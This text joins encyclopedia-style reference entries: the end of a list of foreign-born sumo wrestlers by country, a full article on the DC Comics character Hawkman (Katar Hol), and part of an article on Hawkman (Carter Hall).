NOTES: (#) marks active foreign-born wrestler credited with Japanese shushin (hometown), and hence not counting against current one-foreigner-per-heya restriction; (‡) marks active foreign-born wrestler naturalized as a Japanese citizen; (§) marks a retired foreign-born wrestler who became a sumo elder.
Paraguay
Wakashio - Satoshi Miyawaki - Japanese-Paraguayan - 1985–1989 - sandanme 76
Philippines
Furanshisu Manabu - Teodoro Francis Robert Valles - Laguna - 2016–active - sandanme 53
Kōtokuzan Tarō # - Jasper Kenneth Arboladura Terai - Filipino-Japanese (Makati) - 2009–active - maegashira 16
Masunoyama Tomoharu - Tomoharu Kato - Filipino-Japanese (Chiba) - 2006–2021 - maegashira 4
Mitakeumi Hisashi # - Ōmichi Hisashi - Filipino-Japanese (Nagano) - 2015–active - ozeki
Tamahikuni - Jun Terrado - 1988–1988 - jonokuchi 30
Tamahinada - Angelito Labampa - 1988–1988 - jonidan 129
Tamahiryu - Samson Pael - 1988–1988 - jonokuchi 2
NOTE: (#) marks active foreign-born wrestler credited with Japanese shushin (hometown) and hence not counted against current one-foreigner-per-heya restriction.
Russia
Amūru Mitsuhiro - Nikolai Yuryevich Ivanov (Николай Юрьевич Иванов) - Primorsky Krai - 2002–2018 - maegashira 5
Aran Hakutora - Alan Gabaraev - North Ossetia-Alania - 2007–2013 - sekiwake
Hakurozan Yūta - Batraz Feliksovich Baradzov - North Ossetia-Alania - 2002–2008 - maegashira 2
Ōrora Satoshi - Anatoliy Valeryevich Mihahanov - Buryatia - 2000–2018 - makushita 43
Rōga Tokiyoshi - Amartuvshin Amarsanaa - Tuva (Mongolian-Russian) - 2018–active - juryo 9
Rohō Yukio - Soslan Feliksovich Baradzov - North Ossetia-Alania - 2002–2008 - komusubi
Wakanohō Toshinori - Soslan Aleksandrovich Gagloev - North Ossetia-Alania - 2005–2008 - maegashira 1
NOTE: prior to the end of WWII, the southern half of Sakhalin was controlled by Japan as Karafuto. For a Karafuto-born wrestler, see Japanese-born rikishi of non-Japanese or mixed ethnicity.
Samoa
Nankairyū Tarō - Saba Kiriful - 1984–1988 - maegashira 2
Nanyōzakura - Faaleva Fofoga - 1984–1988 - makushita 48
NOTE: Rikishi from American Samoa and Hawaiians of Samoan descent are listed under the United States heading.
Sri Lanka
Tochitaikai Jiro - Sri Aminda de Perera - 1992–1992 - jonokuchi 34
Taiwan
Eigayama Hiromasa - Zhi-min Zeng - 1986–1993 - makushita 32
Kaho Fumio - Pengwen Chen - 1989–1990 - jonidan 55
Maedaiko Ichiro - Haolun Xu - 1988–1995 - sandanme 16
Maenoumi Takeo - Jiancheng Liao - 1989–1991 - sandanme 36
Ohayama Yoshio - Kunfang Xie - 1990–1995 - makushita 53
Rakoten Keigo - Qigang Zhen - 1990–1991 - jonidan 106
Shu - Jianyan Zhou - 1988–1991 - jonidan 5
Tamayama - Akira Yokone - 1966–1972 - sandanme 75
Tatsunohana Ritsuei - Lirong Chen - 1989–1994 - makushita 45
Tominohana - Jiawei Ding - 1988–1992 - jonidan 31
Tochinohana Choo - Chao-huei Liu - 1980–1988 - juryo 4
Tonga
Aotsurugi Kenta - Tebita Rato Taufa (Tebita Togawa) - 2001–2009 - sandanme 1
Hinodeshima - Shioeri (?) - 1974–1976 - sandanme 34
Fukunoshima Hiroshi - Tonga Uli'uli Fifita - 1974–1977 - makushita 27
Minaminoshima Isamu - Minaminoshima Isamu Falevai - 2001–2008 - makushita 21
Minaminoshima Takeshi - Tebita Vaiola Falevai - 1974–1976 - makushita 37
Sachinoshima - Sione Havea Vailahi - 1975–1976 - sandanme 36
Tomonoshima Naoyuki - Viri Manulea Fifita - 1975–1976 - jonidan 18
Yashinoshima Noboru - Moleni Fe'aomoeata Tauki'uvea - 1974–1976 - makushita 53
Ukraine
Shishi Masaru - Serhii Sokolovskyi (Сергій Соколовський) - 2020–active - Juryo 12
United Kingdom
Hidenokuni Hajime - Nathan John Strange - England (Kent) - 1989–1990 - jonidan 89
United States
Akebono Taro § - Chadwick George Haheo Rowan - Hawaiian (Hawaii) - 1988–2001 - 64th yokozuna
Araiwa Kamenosuke - Cal Lee Martin - California - 1968–1971 - makushita 33
Daiki Susumu - Percy Pomaikai Kipapa - Hawaiian (Hawaii) - 1991–1998 - juryo 10
Gosetsu - Laurent Raymond - Hawaii - 1982–1983 - sandanme 86
Hiraga Shoji - Shoji Hiraga - Japanese-American (California) - 1934–1938 - jonidan 23
Junyo - Isaac Fuailutago Loe - Hawaii - 1983–1983 - jonidan 132
Kamikiiwa Ryuta - Wayne Mahelani Vierra Jr. - Hawaiian (Hawaii) - 1990–1991 - sandanme 22
Konishiki Yasokichi - Saleva'a Fuauli Atisano'e - Samoan (Hawaii) - 1984–1997 - ozeki
Koryu Katsuichi - Eric Cosier Gaspar - Hawaii - 1990–1997 - makushita 49
Matsuryuyama Masao - Robert Masao Suetsugu - Japanese-American (Washington) - 1975–1985 - makushita 24
Muryu - John Robert Collins - Hawaii - 1976–1981 - makushita 55
Musashibo Benkei - William Molina - 1987–1988 - jonidan 59
Musashikuni Mamu - Fiamalu Penitani - Samoan (Hawaii) - 2013–2019 - makushita 26
Musashimaru Kōyō § - Fiamalu Penitani - Samoan-Tongan (American Samoa) - 1989–2004 - 67th yokozuna
Nanfu Kenzo - Kaleo Kekauoha (Kaleo Suzuki) - Hawaiian (Hawaii) - 1990–1996 - makushita 1
Narushio - Emanuel Kaefaia Jr - Hawaii - 1983–1984 - jonidan 23
Ozora Hiroshi - Troy Levi Talaimatai - Samoan (Hawaii) - 1989–1995 - makushita 13
Sentoryū Henri - Henry Armstrong Miller - Japanese-American (Missouri) - 1988–2003 - maegashira 12
Shinnishiki - Vincent Divoux - California - 1988–1990 - sandanme 10
Sunahama Shoji - William Tayler Hopkins - Hawaii - 1990–1997 - juryo 5
Takai Tsutomu - Ola Rowan - Hawaii - 1989 - jonokuchi 39
Takamio Daisei - Sione (John) Tekeriri Feleunga - Tongan (Hawaii) - 1986–1997 - makushita 2
Takamishu - Teila Tuli (Taylor Wily) - Samoan (Hawaii) - 1987–1989 - makushita 2
Takamiyama Daigoro § - Jesse James Wailani Kuhaulua - Hawaiian (Hawaii) - 1964–1984 - sekiwake
Takanoumi - Phillip Smoak - Texas - 1981 - jonokuchi 29
Toyonishiki Kiichiro - Harley Kiichiro Ozaki - Japanese-American (Colorado) - 1936–1944 - maegashira 20
Wakachikara Toru - Glenn Kalima - Hawaii - 1991–1994 - makushita 26
Wakaichirō Ken - Ichiro Young - Japanese-American (Texas) - 2016–2020 – sandanme 32
Wakatakami Taro - George Pulaian - Hawaii - 1977–1983 - makushita 40
Wakayashima Masaki - Asato Reid - Japanese-American (Hawaii) - 1976–1978 - sandanme 32
Yamato Gō - George Kalima - Hawaii - 1990–1997 - maegashira 12
(§) marks a retired foreign-born wrestler who became a sumo elder.
See also
List of active sumo wrestlers
List of past sumo wrestlers
References
Lists of sumo wrestlers
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Hawkman (Katar Hol)
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Hawkman (Katar Hol) is a DC Comics superhero. He is the Silver Age, Bronze Age and New 52 Hawkman. Created by Gardner Fox and Joe Kubert, he first appeared in The Brave and the Bold #34 (February–March 1961). There are two versions of Katar Hol, the Silver Age/Pre-Crisis version and the post-Hawkworld/Post-Crisis version.
Publication history
The Silver Age Hawkman (Katar Hol) was first introduced in The Brave and the Bold #34 by artist Joe Kubert and writer Gardner Fox. At this time DC had already rebooted many of its characters such as the Flash and Green Lantern. Hawkman's first appearance sold well and spawned five more tryout issues in The Brave and the Bold. During these issues, he teamed up with his wife, Hawkgirl, to battle foes on earth as well as on his home planet Thanagar.
After Hawkman had concluded his appearances in The Brave and the Bold, he starred in a side strip within Mystery in Space. He appeared in four issues of this series, and teamed up with Adam Strange in some of these adventures.
In 1964, Hawkman was given a bi-monthly solo title. Murphy Anderson took over the art for this series with Gardner Fox continuing as writer. Hawkman occasionally teamed up with The Atom and Adam Strange in his title. Together, Hawkman and Hawkgirl battled such enemies as the Matter Master, the Shadow Thief and Lion-Mane. Hawkman's comic book continued for less than five years before it was canceled at issue #27.
After declining sales forced the cancellation of his solo magazine, Hawkman teamed up with the Atom and starred in The Atom and Hawkman for seven issues. This series was canceled as well.
During the 1970s and early 1980s, Hawkman continued to appear as a member of the Justice League of America, which he had joined back in 1964. He also made regular appearances in World's Finest Comics and Detective Comics, along with a three-issue story in the pages of Showcase. It was not until the mid-1980s when Hawkman received his own title again. In 1986, DC published a four-part miniseries called, The Shadow War of Hawkman. Due to the decent sales of this series, Hawkman received another monthly solo series. It lasted seventeen issues and one Special before it, too, was cancelled.
In 1989, Timothy Truman decided to reboot the Silver Age Hawkman in a three-book series titled Hawkworld. This was the start of the post-Hawkworld version of Katar Hol. While this series was originally meant to just be a retold origin of Hawkman, it spawned yet another Hawkman series. In 1990 DC created the Hawkworld monthly series. This series had two volumes, but was eventually canceled.
During the mid 1990s–2010s Hawkman had more on-and-off series. However, none of them were of much importance. With all of the different series, Hawkman had been part of, his origin and story had become rather complicated and confusing. At the end of his 3rd series, Hawkman was physically dissolved into nothing. Eventually Hawkman came back, but this time, rather than being the alien policeman that he was in the previous series, he was Carter Hall, the reincarnated Egyptian prince. However this added even more complexity to Hawkman, and the series was canceled.
In 2011, the Silver Age Hawkman was rebooted again as part of The New 52 reboot. His new comic book was titled The Savage Hawkman. Although this Hawkman was the most simple version of the complex character, the series sold poorly and ended after twenty issues. In 2016, Hawkman returned again as part of the DC Rebirth relaunch, in a series titled The Death of Hawkman, which concluded after six issues.
A new Hawkman title, by Robert Venditti and Bryan Hitch, debuted in June 2018. However this series concerned Carter Hall the reincarnated Egyptian prince version of Hawkman rather than Katar Hol, or Silver Age version of the character.
Fictional character biography
Silver Age version
Katar Hol was the imperial prince of his home planet of Thanagar. His father was Paran Katar, renowned ornithologist and inventor.
When Katar Hol was eighteen, an alien race called the Manhawks invaded Thanagar and began looting the planet. Paran sent young Katar Hol to infiltrate their nest and bring back information on the aliens. Using this information, Paran created a hawk-like battle suit containing advanced technology like his "Nth metal". Katar used this hawk-suit and Paran's advanced weaponry to drive the Manhawks away from Thanagar.
That, however, was not the end of the problem. Some Thanagarians had learned the concept of stealing from the Manhawks. Due to the amount of crime, the Thanagarian government created a police force. In honor of Paran Katar and his achievements, the new police force began using his hawk-suit and equipment. Paran headed this new police force, named the Hawk-Police (or Wingmen), and his son became one of the first recruits.
Katar soon became one of the most skilled of the Hawk-Police. When a group called the Rainbow Robbers began committing crimes, Katar was teamed up with rookie Shayera Thal to track and apprehend the criminals. During the case, Shayera saved Katar's life, and the two soon fell in love. A few weeks later, Katar proposed to Shayera and the two got married, working together as partners-for-life in the Hawk-Police.
After ten years of marriage and in the force, the pair were sent to Earth to capture the shape-shifting Thanagarian criminal Byth. During their mission, they meet George Emmett, commissioner of the Midway City Police Department, and told him their alien origin. With Emmett's help, the pair took over his retiring brother Ed's place as museum curators. They adopt the identities as Carter and Shiera Hall. After capturing him and sending him back to Thanagar, they elected to remain on Earth to work with authorities to learn human police methods. The two acted publicly as the heroes Hawkman and Hawkgirl (later Hawkwoman).
The rest of Hawkman's supporting cast consist of Mavis Trent, museum naturalist and diorama artist who flirts with Katar; Joe Tracy, the museum's publicist; his commanding officer Andar Pul; a large red hawk named Big Red who lives in nearby Hawk Valley; and teenage orphan Charley Parker, the Golden Eagle. Katar gained a variety of unique villainous opponents such as the Shadow Thief, the Matter Master, Ira Quimby (I.Q.), Konrad Kaslak, Chac, the Raven, the Criminal Alliance of the World (or C.A.W.), Lion-Mane, Kanjar Ro, Hyathis, the Fadeaway Man, and the Gentleman Ghost.
Katar joined the Justice League of America, where he befriended the Atom. As Hawkman was a conservative, he frequently verbally sparred with his fellow Leaguer Green Arrow, a left-wing liberal.
Hol left the Justice League for a time when Thanagar was hit by the Equalizer Plague, which caused all Thanagarians to change so that their physical and mental talents, and even their heights, became the same. With the help of the JLA, he was eventually able to reverse the effects of the plague.
However, in the wake of the plague, Thanagar adopted an expansionist outlook, and went to war with the planet Rann, which orbits Alpha Centauri. This forced Katar and Shayera to choose to fight for or against their own planet, and they elected to oppose Thanagar, becoming exiles on Earth. Around this time, Shayera herself joined the JLA, and took the name Hawkwoman.
Following the truce between Thanagar and Rann, Thanagar began to secretly try to take over the Earth. Hol opposed their efforts in a furtive "secret war" for several years.
Following the events of DC's miniseries, Crisis on Infinite Earths, the histories of Earth-One and Earth-Two are merged. As a result, both Golden Age and Silver Age versions of Hawkman and Hawkgirl/Hawkwoman live on the same Earth. Initially, the Silver Age Hawkman and Hawkwoman were kept in continuity unchanged. They took Superman to Krypton (now a gas planet), briefly joined Justice League International, teamed-up with Atom, and helped Animal Man defuse a Thanagarian bomb during Invasion. However, DC reversed this decision and rebooted Hawkman continuity after the 1989 Hawkworld miniseries. Originally, Hawkworld retold the origins of the Silver Age Hawkman and Hawkwoman, but following its success, DC Comics launched a Hawkworld ongoing series set in the present, resulting in a complete reboot of Hawkman continuity. By doing so, several continuity errors regarding Hawkman and Hawkwoman's Justice League appearances needed to be fixed.
Post-Hawkworld version
Katar Hol was rebooted in 1989 in the prestige format mini-series Hawkworld by Timothy Truman. A regular ongoing series of the same name followed from 1990–1993, which was then followed up by Hawkman (vol. 3) from 1993–1996.
In this new version Katar Hol was a young police officer on the planet Thanagar, and a child of a privileged family being the son of Paran Katar. Thanagar was a planet which conquered and mined other worlds for their resources to maintain its high standard of living, and Hol realized that this was wrong. He rebelled against the system and favored the old days of Thanagar. He became a student of history and archaeology, and admired Thanagar's legendary hero Kalmoran. Hol became addicted to a recreational drug, and was manipulated by the renegade police captain Byth into killing his own father, and was sent into exile in the Isle of Chance.
During that time, he found one of the island residents in robes fashioned a pair of wings. Katar, disillusioned, killed him and took his wings. He learned the wings were meant for Hol and that the robed man had natural wings on his back. Horrified on what he has done, the brother of the man he killed helped him deal with withdrawal symptoms from his drug addictions and he made peace with himself.
When his sentence was up, Hol was sent to Downside. However, he managed to escape and uncover and defeat Byth, who had gained shape-shifting abilities. As a result, he was reinstated in the force and given a new partner, Shayera Thal - a young woman from a lower class of society.
Just after Fel Andar left Earth, Katar and Shayera were sent to Earth, where they served as goodwill ambassadors for their home planet and remained for some time fighting both human and alien criminals in places like Chicago's Netherworld. Dubbed by the press as Hawkman III, Katar and Shayera, Hawkwoman II, had a tempestuous working relationship, and eventually, Shayera broke away from Katar, who continued alone.
Katar met Carter Hall and Shiera Sanders who returned from Asgard with the rest of the Justice Society. He learns that his father came to Earth during World War II, under the alias "Perry Carter". The Golden Age Hawks, Carter and Shiera Hall, were friends with Paran, and were the inspiration of the Wingmen. In one adventure, Carter took an injured Katar to be healed by an old friend, a Cherokee shaman named Naomi ("Faraway Woman"). Katar discovers that she had known Paran Katar, his father. She and Paran fell in love, and the two eloped with the Halls serving as witnesses. Thus, Naomi is his birth mother and Katar is a hybrid Human-Thanagarian.
During the Zero Hour event, Katar Hol was merged with Carter, Shiera, and a "hawk god" creature in a new Hawkman version—a living avatar of the hawk god who adventured for a brief time, continuing to prey on criminals and deal out his own brand of fierce justice. He later went insane (tormented by the voices of all the previous hawk-avatars in his head), until he was eventually banished to Limbo by the combined skills of Arion and the Martian Manhunter.
Because of Carter Hall's return from the dead prior to Infinite Crisis, it has been stated that Katar Hol's soul dissipated from the Limbo/Realm of the Hawk God and is now deceased. Carter Hall currently inhabits a reconstructed version of Katar Hol's post-Zero Hour body, which mostly resembles Carter Hall, but with darker hair and a more barbaric frame.
The New 52 version
As part of DC's 2011 company-wide title relaunch, The New 52, Katar Hol was re-established as the DCU's Hawkman, using the name Carter Hall. His origin has yet to be fully explained since he appears to not know his alien heritage, believing himself to be human. Issue #0 explains that Katar Hol was once a proud member of the Thanagarian race, adopted son of their king Thal Provis and lover to the princess Shayera Thal. Unlike other Thanagarians, he was a pacifist; desiring to find an end to centuries of war, he convinced the king to hold a peace conference. However the Daemonites took advantage of this to spread a deadly disease that quickly destroyed all Thanagarians' wings and killed their king. The new ruler, son of Provis and Katar's adoptive brother, Corsar, came to believe that only the Nth Metal could save them, but this desire for power sacrificed hundreds of lives, which was apparently rewarded when Katar was accidentally fused with it creating a full body armor and regenerating his wings. But seeing his brother's increasing insanity, Katar refused to let the metal power be distributed, leading to fighting between them and the death of Corsar. Shayera then vows to hunt down Hawkman, also blaming him for her father's death. He runs away in a stolen ship that ends up crashing on earth. During the Rotworld storyline Animal Man travels to a post-apocalyptic future where he is attacked by a Rot-corrupted Hawkman; this version is killed by Steel, Beast Boy and Black Orchid.
Death of Hawkman
Thanagarians attack the royal house of Rann and seemingly murder Sardath. Because of these actions, Adam Strange is not able to travel to Rann. We later find out that these actions are all a deliberate plan arranged by the antagonist. When Adam finally gets to Rann, he finds out from his wife Alanna that Thanagarians are behind the attack. Adam does not believe this because of his relationship with his JLA teammate, Katar Hol (Hawkman), who is from Thanagar. With assistance from Hawkman, Adam Strange determines that the real culprit is Despero. Using his psionic powers, Despero is able to control the minds of the citizens of Rann, Thanagar and Kalanor to incite skirmishes. His main goal is to steal the Nth metal resources and attack Earth with the Zeta crystals. A final major battle with Strange, Hawkman and Despero ensues. Hawkman sacrifices himself by expelling all the Nth metal in his body through the head of Despero. Strange destroys the Zeta crystals, causing an explosion. The aftermath shows that Adam Strange gets trapped in a wrinkle in space-time. Despero is cast to the edge of the universe along with the skeleton of Hawkman.
In the 2018 Hawkman series, Carter Hall uses a mystic artifact to reveal all of his past lives, suspecting there are gaps in his memories. Katar Hol is revealed to have been one of his prior reincarnations, despite the fact that the two had been alive simultaneously. This causes Hall to realize that he is reincarnating across space as well as time. On Dinosaur Island, Hall finds an ancient artificial cave carved into a mountain, guarded by Fetherians, a tribe of Stone Age winged humanoids. Upon entering the cavern, Hall is transported to Thanagar in the past and encounters Katar at a point in his life prior to traveling to Earth. Katar assumes Hall is his nemesis, the shape-shifting Byth, and the two Hawkmen engage in an aerial chase through the city before ending up on a gigantic statue of Thanagar's mythical hero, Kalmoran. Carter is able to get Katar to listen and convinces him of their common nature. Katar, who has been having similar visions, realizes that Hall's next clue is located on the statue.
In Justice League (vol. 3) #14, Katar was shown alive on Thanagar Prime, the new home world of the Thanagarians, disguised as a common guard. On the orders of his wife, the empress of Thanagar Prime, he attacks the Justice League. This Katar Hol was revealed to be a mindless construct created by a device called the "Absorbacon", which via reactive Nth Metal and the mental powers of a Martian elder known as the Keep, bring memories into reality.
Powers and abilities
Other versions
The Silver Age Katar Hol has made some appearances in out-of-continuity series.
In Alex Ross' Silver Age-toned Justice, Katar Hol is a member of the Justice League; he is married to Shayera - also a member of the Justice League and works as a curator of the Midway City Museum. He is mostly referred to as "Carter", even by Shayera. In the climax of the series, he wears a suit of armor that resembles the Hawk-God. He also appears in Secret Origins and Liberty and Justice, tabloid-sized comics also by Alex Ross.
Katar and Shayera are featured in the Elseworlds three-part prestige format limited series Legend of the Hawkman (2000). The story takes place in the Earth-One timeline, some time after The Brave and the Bold #34. Shayera is shown wanting to return home to Thanagar while Katar has grown accustomed to life on Earth. Although this miniseries was never labeled as an Elseworlds project when originally published, it is now accepted as being one, with this story clearly based on the Silver Age versions of Hawkman and Hawkwoman during the Pre-Crisis on Infinite Earths era.
In JLA: The Nail, Katar Hol was killed by Amazo while trying to get Green Arrow to safety. He was frequently mentioned in the sequel Another Nail.
In The Dark Knight Strikes Again, the Hawks tried to return to Thanagar to flee from Lex Luthor's military dictatorship, only to crash in the rain forest of Costa Rica. They decided to remain in hiding. They give birth to a son and a daughter, giving them natural wings. Katar and Shayera were killed by a military strike ordered by Lex Luthor, embracing each other in their final moments. The children were brought up in the jungle ever since. They were bent on revenge against Lex. As Hawkboy, the son ultimately kills Luthor with Batman's permission, since he understands what he has been through.
The Silver Age Hawks made a cameo appearance in Adventures in the DC Universe 80-Page Giant as Chronos II travels across time and space. He witness them in a battle against the Manhawks.
The Silver Age Katar Hol is one of the "ghosts" in the empty "Planet Krypton" restaurant in The Kingdom: Planet Krypton #1.
Hawkman appeared in Whatever Happened to the Man of Tomorrow? in Action Comics #583, trying to break through the barrier around the Fortress of Solitude.
Katar and Shayera Hol appear in JLA/Avengers due to time distortions caused by Krona.
Katar appears briefly with Shayera, setting up Thanagarian equipment, at the start of JLA: Created Equal issue #1 before the Fall.
Katar is featured with Shayera in Scooby-Doo! Team-Up #33. He resembles the Joseph Gardner Hawkman from the DC Animated Universe. Like Carter Hall, Katar is a reincarnation of Prince Khufu, and have been reborn as Silent Knight and Nighthawk.
Katar Hol appeared in Superman & Batman Magazine #5, wearing a uniform resembling the Post-Hawkworld version.
In other media
Television
Katar Hol / Hawkman appears in The Superman/Aquaman Hour of Adventure, voiced by Vic Perrin. This version is a member of the Justice League who wields a wrist-mounted "power claw" instead of archaic weapons. Additionally, he has an eagle sidekick named Skreal instead of Hawkgirl and is a scientist under the alias of "Carter Hall", with an older scientist named Professor Brown being the only one who knows his true identity.
Katar Hol / Hawkman appears in Super Friends, voiced by Jack Angel. This version is a member of the titular team.
Katar Hol / Hawkman appears in Legends of the Superheroes, portrayed by Bill Nuckols.
A loose adaptation of Katar Hol named Hro Talak appears in the Justice League three-part episode "Starcrossed", voiced by Victor Rivers. He is a Thanagarian general as well as Hawkgirl's former commanding officer and lover. He offers to lend his troops to help the Justice League defend Earth from a Gordanian invasion. However, the Thanagarians' true aim is to build a massive device called a hyperspace bypass, which will allow Thanagarian ships to reach the Gordanian homeworld, destroying all life on Earth in the process. While Talak does not desire the latter, he considers it an acceptable sacrifice for the Thanagarians to win the war. However, the Thanagarians are defeated by the Justice League and forced to leave Earth. Talak later died off-screen while saving his men from a Gordanian attack prior to the events of the Justice League Unlimited episode "Hunter's Moon".
Katar Hol / Hawkman appears in The Batman, voiced by Robert Patrick.
Katar Hol / Hawkman appears in Young Justice, voiced by James Arnold Taylor. This version is a member of the Justice League. Additionally, Hro Talak makes non-speaking appearances in the third season.
Katar Hol / Hawkman appears in Justice League Action, voiced by Troy Baker.
Film
Katar Hol / Hawkman makes a cameo appearance in Justice League: The New Frontier.
Katar Hol / Hawkman makes a non-speaking appearance in Injustice.
Miscellaneous
Katar Hol / Hawkman appears in All-New Batman: The Brave and the Bold #9.
References
External links
A Comprehensive index of Katar Hol's appearances through the mid-1980s
Cosmic Teams: Hawkman and Hawkwoman
Hawkman (1961) at Don Markstein's Toonopedia
Characters created by Gardner Fox
Characters created by Joe Kubert
Characters created by Timothy Truman
Comics characters introduced in 1961
Comics characters introduced in 1989
DC Comics aliens
DC Comics characters with superhuman durability or invulnerability
DC Comics characters with superhuman strength
DC Comics characters with accelerated healing
DC Comics extraterrestrial superheroes
DC Comics male superheroes
DC Comics hybrids
DC Comics police officers
Fictional archaeologists
Fictional princes
Fictional extraterrestrial–human hybrids in comics
Wingmen of Thanagar
Hawkman
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Hawkman (Carter Hall)
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Hawkman (Carter Hall) is a superhero appearing in American comic books published by DC Comics. He is the first character to use the name Hawkman. There are two separate origins of Carter Hall; the Golden Age origin and the Post-Hawkworld (or current) origin.
The character made its live-action debut in the television series Smallville, played by Michael Shanks. He also appeared in the Arrowverse crossover "Heroes Join Forces" and in Legends of Tomorrow, played by Falk Hentschel. Hawkman appears in the DC Extended Universe film Black Adam (2022), played by Aldis Hodge.
Creation
Gardner Fox recalled the initial inspiration for the character stating, "As I sat by the window I noticed a bird collecting twigs for a nest. The bird would swoop down, pick up the twig, and fly away. I thought. 'Wouldn't it be great if the bird was a lawman and the twig was a crook!'"
Publication history
The character first appeared in Flash Comics #1 (January 1940), created by writer Gardner Fox and artist Dennis Neville.
Fictional character biography
Golden Age origin
In the days of ancient Egypt, Prince Khufu was engaged in a feud with his rival, the Hungarian priest Hath-Set, who captured Khufu and his consort Chay-Ara, and killed them. In 1940, Khufu reincarnates as American archaeologist Carter Hall, and Chay-Ara as Shiera Sanders. Hath-Set reincarnates as a scientist named Anton Hastor. Upon finding the ancient knife Hath-Set used to kill him, Hall regains his memories of his past life and recognizes Hastor as the reincarnated evil priest. Using the properties of "Nth metal" to craft a gravity-defying belt, Hall creates wings and a costume, and confronts Hastor as Hawkman. He also encounters and remembers Shiera. Following Hastor's defeat, the two begin a romance.
Hawkman becomes a charter member of the Justice Society of America and takes the position of permanent chairman, following the Flash and Green Lantern. Shiera adopts the identity of Hawkgirl and fights beside Hall throughout the 1940s. In 1942, Carter enlists in the U.S. Army Air Force as an Airman and serves as a pilot with the 1st Interceptor Command during World War II.
Hawkman is JSA chairman in 1951 when the team is investigated by the "Joint Congressional Un-American Activities Committee" (based on the real-life House Un-American Activities Committee) for possible communist sympathies. Congress asks members of the JSA to reveal their identities. The heroes decline, and Hawkman and most of the JSA retire for the bulk of the 1950s.
The JSA and Hawkman regroup in the early 1960s following the Flash's meeting with his counterpart from the parallel world Earth-1, the JSA being active on Earth-2. Around this time, the Halls have married and have a son named Hector. During the 1960s, Hawkman appeared at the JSA's annual meeting with Earth-1's Justice League of America.
In the early 1980s, Hawkman is instrumental in denying his son and other JSA children membership of the JSA, leading directly to the formation of Infinity, Inc.
Following Crisis on Infinite Earths, some of Hall's history was retconned by DC when the parallel worlds were combined into one but one piece of retroactive continuity was written before Crisis and fills out early Hall history. All-Star Squadron Annual #3 states during a JSA battle against Ian Karkull, the villain imbues them with energy that retards their aging, allowing Hall and many others – as well as their spouses – to remain active into the late 20th century without infirmity.
Following the Crisis, the Golden Age and the Silver Age Hawkmen live on the same Earth until Carter is cast into Limbo in the Last Days of the Justice Society of America story.
The original Hawkworld miniseries retells the origins of Katar Hol and Shayera Thal from a modern perspective but following its success, DC launched a Hawkworld regular series, which takes place after the miniseries, resulting in a complete reboot of Hawkman's continuity.
Post-Hawkworld (or current) origin
Much of Carter Hall's post-Hawkworld history is detailed in DC's Justice Society of America and Hawkman (vol. 4), which were written mostly by David S. Goyer, Geoff Johns, and James Dale Robinson, and examine Hall's previous lives.
According to the post-Hawkworld origin, Prince Khufu lives during the reign of Ramesses II in the 19th dynasty of ancient Egypt. Khufu believes his ka, or soul, will not journey on to the land of the afterlife but that his soul and that of his betrothed, Chay-Ara, are fated to remain in the mortal world.
As prophesied by the wizard Nabu, a spacecraft lands in Egypt. Prince Khufu, Nabu, and the champion Teth-Adam search the desert and find the remains of a Thanagarian ship styled with a hawk-like motif. Nabu casts a spell translating the strange language of the female space traveler. Just before dying, she whispers the words "Nth metal", the name of the substance that powered the downed ship.
Teth-Adam lifts the ship back to Khufu's palace, where it is studied inside the Temple of Horus at Erdu. The remaining Nth metal is examined; its most obvious property is its ability to negate gravity. The remaining sample from the ship is melted and used to create several remarkable devices, including a scarab that allows Khufu to fly, a deadly knife, and a battle glove referred to as the Claw of Horus. The metal also strengthens the souls of Khufu and Chay-Ara, binding them together in their love and imprinting them with the collective knowledge of Thanagar. The villainous priest Hath-Set murders the two with the knife of Nth metal but their souls remain in the mortal plane. They are reincarnated over many lifetimes, always finding true love in each other but are cursed to be repeatedly killed at the hands of a reincarnated Hath-Set.
From Khufu to Carter Hall
After his death, Khufu's soul is reincarnated countless times in different eras and locations. Some of his known reincarnated identities have been depicted in Hawkman (vol. 4) and include, but are not limited to:
Brian Kent (also known as the Silent Knight), alive during 5th-century Britain, lover of Lady Celia Penbrook;
Koenrad Von Grimm, the son of a blacksmith in 14th-century Germany;
Captain John Smith of the 16th-century Colony of Virginia;
Hannibal Hawkes, the Nighthawk, a gunfighter in the American Old West, love of Cinnamon;
Detective James Wright, a Pinkerton detective in the early 20th century, love of Sheila Carr.
The soul of Prince Khufu is eventually reborn as Carter Hall, an archaeologist who is active during the 1940s. After regaining the memories of his first life in Egypt, Hall uses the hawk motif of the Egyptian god Horus to inspire his role as Hawkman.
His lover Chay-Ara is reborn as archaeologist Shiera Saunders. After the two meet and marry, she becomes Hawkgirl, fighting at Carter's side. They become founding members of the Justice Society of America, and Hawkman takes the role of chairman. The pair reduce their activities in the early 1950s but become fully active again in the early 1980s, when Hall briefly joins the Justice League of America as a mentor. The two have a son called Hector Hall, who later becomes an incarnation of Doctor Fate. Just after the Crisis on Infinite Earths maxiseries, Hawkman and the JSA become trapped in a battle in an ever-repeating Ragnarök.
Years after they vanish, Hawkman and the JSA return to the early 21st century when a primitive but superpowered tribe volunteer to substitute themselves in the Ragnarök cycle. Soon after, however, Carter dies once again during the events of Zero Hour. He and his wife Shiera merge with Katar Hol and a "hawk god" creature in a new version of Hawkman, attributed to them being fundamentally unstable due to their complex origins as a result of the last Crisis. This individual is active for a brief time but loses his sanity and is banished to Limbo.
Alive again
Years later, JSA member Kendra Saunders is transported to a ravaged Thanagar by the High Priests of the Downsiders. Seeking a champion to stop the evil Onimar Synn from enslaving the planet, the priests use Kendra's centuries-old connection to Carter to bring him back to the mortal plane. Following this unorthodox resurrection, Hall retains all of the memories of his past lives, as well as those of Katar Hol, the Thanagarian Hawkman. Kendra has no interest in renewing the relationship due to her lack of memories of their shared past, and the role as chairman of the JSA goes to Mister Terrific. During the "Black Reign" storyline, however, Hawkman takes over as chairman to lead the team against Black Adam's recent takeover of Khandaq, but after his actions result in two deaths, he is asked to temporarily step down from the JSA.
After defeating Onimar Synn, Hall once again becomes a member of the JSA. Operating both with the JSA and with Hawkgirl, Hall embarks on exotic adventures that take him from the streets of St. Roch to exotic dimensions and into outer space as he fights in the Rann-Thanagar War. Following this event Carter stays in space to help mediate the truce on Rann and avenge the murder of Hawkwoman.
As a result, Hawkman is absent during DC Comics' One Year Later event. Hawkman (vol. 4) becomes Hawkgirl at issue #50. During the events of the missing year, Hall serves as a member of the Thanagarian police force, attaining the rank of Commissioner.
In 2007, Hall returns to Earth in a four-part story-arc presented in Hawkgirl #59-60 and JSA Classified #21-22 and appears as an active member of the JSA in the pages of Justice Society of America. This series was canceled with Hawkgirl issue #66 in July 2007.
